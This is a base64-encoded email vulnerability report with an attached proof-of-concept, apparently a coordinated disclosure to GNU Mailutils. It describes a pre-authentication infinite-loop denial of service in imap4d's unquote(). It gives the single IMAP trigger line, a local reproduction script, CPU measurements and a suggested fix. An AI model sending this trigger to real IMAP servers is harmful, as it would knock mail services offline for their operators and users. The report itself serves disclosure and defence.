[security] imap4d: unauthenticated remote infinite-loop DoS in unquote() (CWE-835)

--===============3252377390307039482==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

QWZmZWN0ZWQ6ICBHTlUgTWFpbHV0aWxzIDMuMjEgKGxhdGVzdCwgcmVsZWFzZWQgMjAyNS0wOC0z
MSkKRmlsZTogICAgICBpbWFwNGQvaW8uYyAgdW5xdW90ZSgpICAofmxpbmVzIDM5Ni00MjMpClNl
dmVyaXR5OiAgSElHSCAg4oCUIHVuYXV0aGVudGljYXRlZCwgcHJlLWxvZ2luLCBzaW5nbGUtY29t
bWFuZCByZW1vdGUgRG9TCkNXRTogICAgICAgQ1dFLTgzNSAoTG9vcCB3aXRoIFVucmVhY2hhYmxl
IEV4aXQgQ29uZGl0aW9uKQpDVlNTIDMuMTogIDcuNSAgQVY6Ti9BQzpML1BSOk4vVUk6Ti9TOlUv
QzpOL0k6Ti9BOkgKClJlcG9ydGVyOiAgemhhbmdwaCAoYWZsZGwpLCBpbmRlcGVuZGVudCBzZWN1
cml0eSByZXNlYXJjaGVyCiAgICAgICAgICAgemhhbmdwaDEyMTM4QDE2My5jb20KCjEuIFN1bW1h
cnkKLS0tLS0tLS0tLQoKdW5xdW90ZSgpIGxvY2F0ZXMgYmFja3NsYXNoZXMgd2l0aCBtZW1jaHIo
KS4gV2hlbiB0aGUgYnl0ZSBmb2xsb3dpbmcgYQpiYWNrc2xhc2ggaXMgbmVpdGhlciAnXFwnIG5v
ciAnIicsIHRoZSBwYXJzZXIgbG9ncyBhICJiYWQgZXNjYXBlIgpkaWFnbm9zdGljIGJ1dCBkb2Vz
IE5PVCBhZHZhbmNlIGl0cyBzY2FuIHBvc2l0aW9uLiBUaGUgbmV4dCBtZW1jaHIoKQpjYWxsIHRo
ZXJlZm9yZSByZS1maW5kcyB0aGUgc2FtZSBiYWNrc2xhc2ggYW5kIHRoZSBsb29wIG5ldmVyCnRl
cm1pbmF0ZXMuIEEgc2luZ2xlIElNQVAgY29tbWFuZCBzZW50IGJlZm9yZSBhdXRoZW50aWNhdGlv
biBwaW5zIGFuCmltYXA0ZCB3b3JrZXIgYXQgMTAwJSBDUFUgaW5kZWZpbml0ZWx5LgoKMi4gVHJp
Z2dlciAocHJlLWF1dGhlbnRpY2F0aW9uKQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
CiAgICBhMDAxIElEICgibmFtZSIgImZvb1xiYXIiKQogICAgICAgICAgICAgICAgICAgICAgIF5e
XiBiYWNrc2xhc2ggZm9sbG93ZWQgYnkgJ2InIChuZWl0aGVyIFwgbm9yICIpCgpBbnkgYnl0ZSBh
ZnRlciB0aGUgYmFja3NsYXNoIHRoYXQgaXMgbmVpdGhlciAnXFwnIG5vciAnIicgcmVwcm9kdWNl
cyBpdAooXGIsIFx4LCBcQCwgLi4uKS4gVGhlIElEIGNvbW1hbmQgaXMgdmFsaWQgYmVmb3JlIExP
R0lOLCBzbyBubwpjcmVkZW50aWFscyBhcmUgcmVxdWlyZWQuIFJlcGVhdGluZyBhY3Jvc3MgY29u
bmVjdGlvbnMgZXhoYXVzdHMgd29ya2VyCnByb2Nlc3Mgc2xvdHMgYW5kIGtlZXBzIGV2ZXJ5IHdv
cmtlciBwZXJtYW5lbnRseSBzdHVjay4KCjMuIFZlcmlmaWVkIHJlcHJvZHVjdGlvbiBvbiB0aGUg
b2ZmaWNpYWwgaW1hcDRkIGJpbmFyeSAoMjAyNi0wNi0xNSkKLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCkJ1aWx0IHRoZSBz
aGlwcGVkIGltYXA0ZCAzLjIxIChyZWFsIEVMRiwgdW50ZXN0ZWQtdGFyZ2V0cy9tYWlsdXRpbHMt
My4yMS8KaW1hcDRkLy5saWJzL2ltYXA0ZCkgYW5kIHJhbiBpdCBpbiBpbmV0ZCBtb2RlOyB0aGUg
Y29tbWFuZCBhYm92ZSBwaW5zIHRoZQp3b3JrZXIgYXQgfjEwMCUgQ1BVIHdpdGggbm8gcmVzcG9u
c2UgdG8gc3Vic2VxdWVudCBjb21tYW5kcy4gJUNQVSBzYW1wbGVkCmZyb20gdGhlIHJlYWwgaW1h
cDRkIFBJRCBhZnRlciBzZW5kaW5nIHRoZSB0cmlnZ2VyOgoKICAgIFBJRCAgICAgICAlQ1BVICBD
T01NQU5ECiAgICA5NzM3MzEgICAgNTYuMCAgaW1hcDRkCiAgICA5NzM3MzEgICAgMTA4ICAgIGlt
YXA0ZAogICAgOTczNzMxICAgIDgwLjAgIGltYXA0ZAogICAgOTczNzMxICAgIDEwNiAgICBpbWFw
NGQKICAgIDk3MzczMSAgICA4OC4zICBpbWFwNGQKICAgID0+IENQVSBwZWdnZWQgZm9yIDMrIHM7
IHN1YnNlcXVlbnQgYTAwMiBOT09QIHByb2R1Y2VzIG5vIHJlc3BvbnNlOwogICAgICAgdGhlIHdv
cmtlciBtdXN0IGJlIGtpbGxlZC4KCkNvbnRyb2w6IHRoZSB2YWxpZCBlc2NhcGUgYElEICgibmFt
ZSIgImZvb1xcYmFyIilgIHJldHVybnMKYGEwMDEgQkFEIElEIFdyb25nIHN0YXRlYCB3aXRoaW4g
bWlsbGlzZWNvbmRzLCBjb25maXJtaW5nIHRoZSBoYW5nIGlzCmNhdXNlZCBzcGVjaWZpY2FsbHkg
YnkgdGhlIGJhZC1lc2NhcGUgaW5wdXQuIChGdWxsIHJlcHJvZHVjdGlvbiBzY3JpcHQgaW4KdGhl
IGF0dGFjaGVkIFBvQyAvIHBvY3MvbWFpbHV0aWxzLWltYXA0ZC11bnF1b3RlLm1kLikKCjQuIFN1
Z2dlc3RlZCBmaXgKLS0tLS0tLS0tLS0tLS0tLQpJbiB0aGUgImJhZCBlc2NhcGUiIGJyYW5jaCBv
ZiB1bnF1b3RlKCksIGFkdmFuY2UgdGhlIHNjYW4gcG9pbnRlciBwYXN0CnRoZSBiYWNrc2xhc2gg
KGFuZCB0aGUgb2ZmZW5kaW5nIGJ5dGUpIGJlZm9yZSBjb250aW51aW5nLCBlLmcuOgoKICAgIGVs
c2UgewogICAgICAgIG11X2RpYWdfYXRfbG9jICguLi4pOwogICAgICAgIHAgKz0gMjsgICAgICAg
ICAgICAvKiBza2lwICdcXCcgYW5kIHRoZSBiYWQgYnl0ZSAqLwogICAgfQoKNS4gRGlzY2xvc3Vy
ZQotLS0tLS0tLS0tLS0tClJlcG9ydGVkIDIwMjYtMDYtMTUuIE5vIHByaW9yIHB1YmxpYyBkaXNj
bG9zdXJlLiBIYXBweSB0byBjb29yZGluYXRlIGEKZml4IGFuZCBDVkU7IHBsZWFzZSBhZHZpc2Ug
b24geW91ciBwcmVmZXJyZWQgdGltZWxpbmUuCgo2LiBDcmVkaXRzCi0tLS0tLS0tLS0Kemhhbmdw
aCAoYWZsZGwpLCBpbmRlcGVuZGVudCBzZWN1cml0eSByZXNlYXJjaGVyLgoK

--===============3252377390307039482==
Content-Type: text/markdown; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mailutils-imap4d-unquote.md"

IyBQb0M6IEdOVSBNYWlsdXRpbHMgaW1hcDRkIHVucXVvdGUoKSDml6DpmZDlvqrnjq8gKOmihOiu
pOivgSBEb1MpCgo+IOecn+WunuS6jOi/m+WItumqjOivgSAoMjAyNi0wNi0xNSnjgILnm67moIcg
PSDkuIrmuLggbWFpbHV0aWxzLTMuMjEg5a6Y5pa5IGltYXA0ZCwqKumdniB3cmFwcGVyKirjgIIK
CiMjIOebruaghwotIOi9r+S7tjogR05VIE1haWx1dGlscyBgaW1hcDRkYAotIOeJiOacrDogMy4y
MSAobGF0ZXN0LCByZWxlYXNlZCAyMDI1LTA4LTMxKQotIOaWh+S7tjogYGltYXA0ZC9pby5jYCBg
dW5xdW90ZSgpYCAofjM5Ni00MjMpCi0gQ1dFLTgzNSAoTG9vcCB3aXRoIFVucmVhY2hhYmxlIEV4
aXQgQ29uZGl0aW9uKSwg6aKE6K6k6K+B6L+c56iLIERvUwoKIyMg5qC55ZugCmB1bnF1b3RlKClg
IOeUqCBgbWVtY2hyKClgIOaJvuWPjeaWnOadoOOAguW9k+WPjeaWnOadoOWQjui3n+eahOWtl+iK
guaXouS4jeaYryBgXFxgIOS5n+S4jeaYryBgImAg5pe2LArlj6rorrDkuIDmnaEgImJhZCBlc2Nh
cGUiIOiviuaWrSwqKuS4jeaOqOi/m+aJq+aPj+aMh+mSiCoqLOS4i+S4gOasoSBgbWVtY2hyKClg
IOWGjeasoeWRveS4reWQjOS4gOS4quWPjeaWnOadoCDihpIg5q275b6q546v44CCCgojIyDop6bl
j5EgKOmihOiupOivgSwg5peg6ZyA5Yet5o2uKQpgYGAKYTAwMSBJRCAoIm5hbWUiICJmb29cYmFy
IikKICAgICAgICAgICAgICAgICAgICBeXl4g5Y+N5pac5p2gICsgJ2InICjml6LpnZ4gXCDkuZ/p
nZ4gIikKYGBgCmBJRGAg5ZyoIExPR0lOIOS5i+WJjeWQiOazlSzmlYXml6DpnIDorqTor4HjgILk
u7vkvZUgYFw86Z2eXCDpnZ4iPmAg5a2X6IqC5Z2H5Y+vIChgXGJgIGBceGAgYFxAYCDigKYp44CC
CgojIyDnnJ/lrp7pqozor4HmtYHnqIsgKOWumOaWueS6jOi/m+WItikKYGBgYmFzaApjZCB1bnRl
c3RlZC10YXJnZXRzL21haWx1dGlscy0zLjIxCmV4cG9ydCBMRF9MSUJSQVJZX1BBVEg9JChmaW5k
IC4gLW5hbWUgJyouc28qJyB8IHNlZCAncyMvW14vXSokIyMnIHwgc29ydCAtdSB8IHRyICdcbicg
JzonKQpJTUFQPSRQV0QvaW1hcDRkLy5saWJzL2ltYXA0ZCAgICAgICAjIOecn+WuniBFTEYsIGxp
YnRvb2wgLmxpYnMvIOS4iwojIOWWguWFpeinpuWPkeWRveS7pCwg6YeH5qC3IENQVQpweXRob24z
IC0gPDwnUFknCmltcG9ydCBzdWJwcm9jZXNzLHRpbWUsdGhyZWFkaW5nCnA9c3VicHJvY2Vzcy5Q
b3BlbihbIiRJTUFQIiwiLS1pbmV0ZCIsIi0tbm8tc2l0ZS1jb25maWciXSwgICAjIOazqDog5pu/
5o2i5Li655yf5a6e6Lev5b6ECiAgICAgICAgICAgICAgICAgICBzdGRpbj1zdWJwcm9jZXNzLlBJ
UEUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMKQp0aHJl
YWRpbmcuVGhyZWFkKHRhcmdldD1sYW1iZGE6W3Auc3Rkb3V0LnJlYWQoMSkgZm9yIF8gaW4gaXRl
cihpbnQsMSldLGRhZW1vbj1UcnVlKS5zdGFydCgpCnRpbWUuc2xlZXAoMC4zKQpwLnN0ZGluLndy
aXRlKGInYTAwMSBJRCAoIm5hbWUiICJmb29cXGJhciIpXHJcbicpOyBwLnN0ZGluLmZsdXNoKCkK
Zm9yIF8gaW4gcmFuZ2UoNik6CiAgICBwcz1zdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInBzIiwi
LWVvIiwicGlkLCVjcHUsY29tbSIsIi0tbm8taGVhZGVycyJdKS5kZWNvZGUoKQogICAgZm9yIGwg
aW4gcHMuc3BsaXRsaW5lcygpOgogICAgICAgIGlmIGwuc3BsaXQoKVswXT09c3RyKHAucGlkKTog
cHJpbnQobC5zdHJpcCgpKQogICAgdGltZS5zbGVlcCgwLjUpCnAua2lsbCgpClBZCmBgYAoKIyMg
55yf5a6e6L6T5Ye6ICgyMDI2LTA2LTE1LCDnnJ/lrp4gaW1hcDRkIDMuMjEpCmBgYAppbWFwNGQg
UElEIDk3MzczMQolQ1BVIOmHh+agtzoKICA5NzM3MzEgIDU2LjAgIGltYXA0ZAogIDk3MzczMSAg
MTA4ICAgaW1hcDRkCiAgOTczNzMxICA4MC4wICBpbWFwNGQKICA5NzM3MzEgIDEwNiAgIGltYXA0
ZAogIDk3MzczMSAgODguMyAgaW1hcDRkCj0+IENQVSDmjIHnu60g4omIMTAwJSwg5ZCO57utIGEw
MDIgTk9PUCDml6Dlk43lupQsIOi/m+eoi+mhuyBraWxsCmBgYAoKKirlr7nnhafnu4QqKjog5ZCI
5rOV6L2s5LmJIGBJRCAoIm5hbWUiICJmb29cXGJhciIpYCDihpIg56uL5Y2z6L+U5ZueIGBhMDAx
IEJBRCBJRCBXcm9uZyBzdGF0ZWAo56eS57qn5ZON5bqUKSwK6K+B5piO5beu5byC56Gu55SxIGJh
ZC1lc2NhcGUg5byV6LW3LCDpnZ7lhbbku5bljp/lm6DjgIIKCiMjIOS/ruWkjeW7uuiurgoiYmFk
IGVzY2FwZSIg5YiG5pSv6YeM5o6o6L+b5oyH6ZKI6Lez6L+H5Y+N5pac5p2gOgpgYGBjCmVsc2Ug
eyBtdV9kaWFnX2F0X2xvYyguLi4pOyBwICs9IDI7IH0gICAvKiDot7Pov4cgJ1wnIOWSjOmdnuaz
leWtl+iKgiAqLwpgYGAKCiMjIOWPr+aPkOS6pOaApzog4pyFIOecnyDCtyDlt7Lpqozor4HjgILl
u7rorq7lj5EgYnVnLW1haWx1dGlsc0BnbnUub3JnLCBDYyBzZWN1cml0eUBnbnUub3Jn44CCCg==

--===============3252377390307039482==--